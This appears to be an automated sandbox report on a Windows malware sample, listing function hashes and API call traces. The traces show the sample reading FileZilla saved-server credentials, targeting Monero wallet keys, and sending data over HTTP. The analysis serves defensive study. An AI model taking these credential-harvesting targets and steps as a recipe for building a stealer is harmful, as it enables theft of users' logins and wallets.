Opcode ID: 28fca9c690ebbe247bacb31369247475c86d569990eb75cab383fb895640a0fc
Instruction ID: a3d1b7d01b2dc8307e66da55a4819c65a6dda7ddb415c7a0239be19d82675c80
Opcode Fuzzy Hash: 28fca9c690ebbe247bacb31369247475c86d569990eb75cab383fb895640a0fc
Instruction Fuzzy Hash: 0D6112B3E146204BE7586D79CC553AAB6D2ABC8320F2B463DDE89A77C4ED785C0583C1

Function 006EF09B Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 376897ff4dcf1d68cfe2a250d4fb15551536a9b91ab19a9e1d404b4f2f51cf57
Instruction ID: 0d62fd27195d491d02a29a5abd97dc1e0782bc835376fcb3be32fbb0932ae409
Opcode Fuzzy Hash: 376897ff4dcf1d68cfe2a250d4fb15551536a9b91ab19a9e1d404b4f2f51cf57
Instruction Fuzzy Hash: 0551D4F3A086009FE3086F29DC8577AB7E6EFC4310F1B853DDAC957784EA3918458686

Function 006C572E Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c827200fb012acd4cbf842cc8c3c498c02a77c0a65873f57ec715cae318bd5d
Instruction ID: 0447c8d430e673d9856f6245979e706be386075829d47a190f5536eb56807068
Opcode Fuzzy Hash: 0c827200fb012acd4cbf842cc8c3c498c02a77c0a65873f57ec715cae318bd5d
Instruction Fuzzy Hash: C141F0B2A187085BE3547E2CECC537AF7D5EB18310F0A463DDA8993B44ED39690086DB

Function 0067972D Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2862bef72abd1710ad72b85f6b9632ed0452c8ed203c25eb514692e82361c571
Instruction ID: 68742e9f342e4ac7ef91112a29ec9a5109d834e7e214cd73473a7bdaf5ed1c5e
Opcode Fuzzy Hash: 2862bef72abd1710ad72b85f6b9632ed0452c8ed203c25eb514692e82361c571
Instruction Fuzzy Hash: 804163F3A186009FE304BF28D88577AF7E5EF94310F16493DD6D587384EA3984458B86

Function 007B249E Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8162153ec68700a8c636d00ec66b3181f537b4fcc9c58b17cd25a0c824044518
Instruction ID: 60a6d5d664cab1601a03c1734239390ccdd7db5fdaffbd429578aab1c1ae0c7e
Opcode Fuzzy Hash: 8162153ec68700a8c636d00ec66b3181f537b4fcc9c58b17cd25a0c824044518
Instruction Fuzzy Hash: 22216FB240C308AFE701BE28DC857BABBE4EB58754F06092DE6D583750E675A900C687

Function 007BCF13 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f9372bb4ebdeec3cb805c4db74c6184483d5179f2f49f0a8c358e2a01ef32cf
Instruction ID: c513344413bc6fc627ef9aa83ac7fda085c7b41e0a8ce44d1a41235a16d67e62
Opcode Fuzzy Hash: 9f9372bb4ebdeec3cb805c4db74c6184483d5179f2f49f0a8c358e2a01ef32cf
Instruction Fuzzy Hash: 9A2145B211C718AFE305BF68C88276AFBE4FF58310F06092DE7C582750E63594408B8B

Function 007E63EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 763f3d589c6424f88acae65c6e890f4c57757f47bb9088cbc732cce41b089393
Instruction ID: 41b271078335455e44db5323cb6b36865fde72da679ffe8efca1a05426c0a3c2
Opcode Fuzzy Hash: 763f3d589c6424f88acae65c6e890f4c57757f47bb9088cbc732cce41b089393
Instruction Fuzzy Hash: F2214CB251C7189FE745FE29DC856AAB7E5EF58310F058A2CE6D583744EB3164008A87

Function 003C9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 003C0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 003C8E0B

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
Part of subcall function 003B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
Part of subcall function 003B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
Part of subcall function 003B99C0: ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
Part of subcall function 003B99C0: LocalFree.KERNEL32(003B148F), ref: 003B9A90
Part of subcall function 003B99C0: CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

Part of subcall function 003C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 003C8E52

GetProcessHeap.KERNEL32(00000000,000F423F,003D0DBA,003D0DB7,003D0DB6,003D0DB3), ref: 003C0362
RtlAllocateHeap.NTDLL(00000000), ref: 003C0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 003C0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 003C03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 003C0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 003C0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 003C0562
lstrcat.KERNEL32(?,profile: null), ref: 003C0571
lstrcat.KERNEL32(?,url: ), ref: 003C0580
lstrcat.KERNEL32(?,00000000), ref: 003C0593
lstrcat.KERNEL32(?,003D1678), ref: 003C05A2
lstrcat.KERNEL32(?,00000000), ref: 003C05B5
lstrcat.KERNEL32(?,003D167C), ref: 003C05C4
lstrcat.KERNEL32(?,login: ), ref: 003C05D3
lstrcat.KERNEL32(?,00000000), ref: 003C05E6
lstrcat.KERNEL32(?,003D1688), ref: 003C05F5
lstrcat.KERNEL32(?,password: ), ref: 003C0604
lstrcat.KERNEL32(?,00000000), ref: 003C0617
lstrcat.KERNEL32(?,003D1698), ref: 003C0626
lstrcat.KERNEL32(?,003D169C), ref: 003C0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003D0DB2), ref: 003C068E

Strings

<Port>, xrefs: 003C03C6
browser: FileZilla, xrefs: 003C0559
profile: null, xrefs: 003C0568
<Host>, xrefs: 003C037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 003C02A4
login: , xrefs: 003C05CA
url: , xrefs: 003C0577
<Pass encoding="base64">, xrefs: 003C045A
<User>, xrefs: 003C0410
password: , xrefs: 003C05FB

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: cf2528a62514ea9cfb05d28cd67edf25f034c17354d4114adb766571303891aa
Instruction ID: 8fac8550101774dff538a4411141e9f2357c38a96b6e6525b53e4d95bf4bdb54
Opcode Fuzzy Hash: cf2528a62514ea9cfb05d28cd67edf25f034c17354d4114adb766571303891aa
Instruction Fuzzy Hash: 1DD12EB6900208ABCB06EBE4DD96FEE7738EF14304F50451DF506EA191DE74AE09DB62

Function 003B5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 003B4839
Part of subcall function 003B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 003B4849

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003B59F8
StrCmpCA.SHLWAPI(?,0118FA48), ref: 003B5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003B5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0118FA88,00000000,?,0118E898,00000000,?,003D1A1C), ref: 003B5E71
lstrlen.KERNEL32(00000000), ref: 003B5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 003B5E93
RtlAllocateHeap.NTDLL(00000000), ref: 003B5E9A
lstrlen.KERNEL32(00000000), ref: 003B5EAF
lstrlen.KERNEL32(00000000), ref: 003B5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 003B5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 003B5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 003B5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 003B5F4C
InternetCloseHandle.WININET(00000000), ref: 003B5FB0
InternetCloseHandle.WININET(00000000), ref: 003B5FBD
HttpOpenRequestA.WININET(00000000,0118FAA8,?,0118F160,00000000,00000000,00400100,00000000), ref: 003B5BF8

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

InternetCloseHandle.WININET(00000000), ref: 003B5FC7

Strings

------, xrefs: 003B5C0B
------, xrefs: 003B5A96
------, xrefs: 003B5D4C
", xrefs: 003B5E16
", xrefs: 003B5CD5

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: ae804a12fe4a9d33e45025e827308e118f1cdef236ddc10945fcff8c00b08450
Instruction ID: b9b840242d27a8811bdc849996c7283cc70497686afdab27601590fda7a45899
Opcode Fuzzy Hash: ae804a12fe4a9d33e45025e827308e118f1cdef236ddc10945fcff8c00b08450
Instruction Fuzzy Hash: DD12ED7182061CABDB16EBA0DC96FEEB778BF14704F50419DB10AA6091DF702E49CF66

Function 003BCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C8B60: GetSystemTime.KERNEL32(003D0E1A,0118E838,003D05AE,?,?,003B13F9,?,0000001A,003D0E1A,00000000,?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003C8B86

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003BCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 003BD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 003BD0CE
lstrcat.KERNEL32(?,00000000), ref: 003BD208
lstrcat.KERNEL32(?,003D1478), ref: 003BD217
lstrcat.KERNEL32(?,00000000), ref: 003BD22A
lstrcat.KERNEL32(?,003D147C), ref: 003BD239
lstrcat.KERNEL32(?,00000000), ref: 003BD24C
lstrcat.KERNEL32(?,003D1480), ref: 003BD25B
lstrcat.KERNEL32(?,00000000), ref: 003BD26E
lstrcat.KERNEL32(?,003D1484), ref: 003BD27D
lstrcat.KERNEL32(?,00000000), ref: 003BD290
lstrcat.KERNEL32(?,003D1488), ref: 003BD29F
lstrcat.KERNEL32(?,00000000), ref: 003BD2B2
lstrcat.KERNEL32(?,003D148C), ref: 003BD2C1
lstrcat.KERNEL32(?,00000000), ref: 003BD2D4
lstrcat.KERNEL32(?,003D1490), ref: 003BD2E3

Part of subcall function 003CA820: lstrlen.KERNEL32(003B4F05,?,?,003B4F05,003D0DDE), ref: 003CA82B
Part of subcall function 003CA820: lstrcpy.KERNEL32(003D0DDE,00000000), ref: 003CA885

lstrlen.KERNEL32(?), ref: 003BD32A
lstrlen.KERNEL32(?), ref: 003BD339

Part of subcall function 003CAA70: StrCmpCA.SHLWAPI(01188B20,003BA7A7,?,003BA7A7,01188B20), ref: 003CAA8F

DeleteFileA.KERNEL32(00000000), ref: 003BD3B4

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
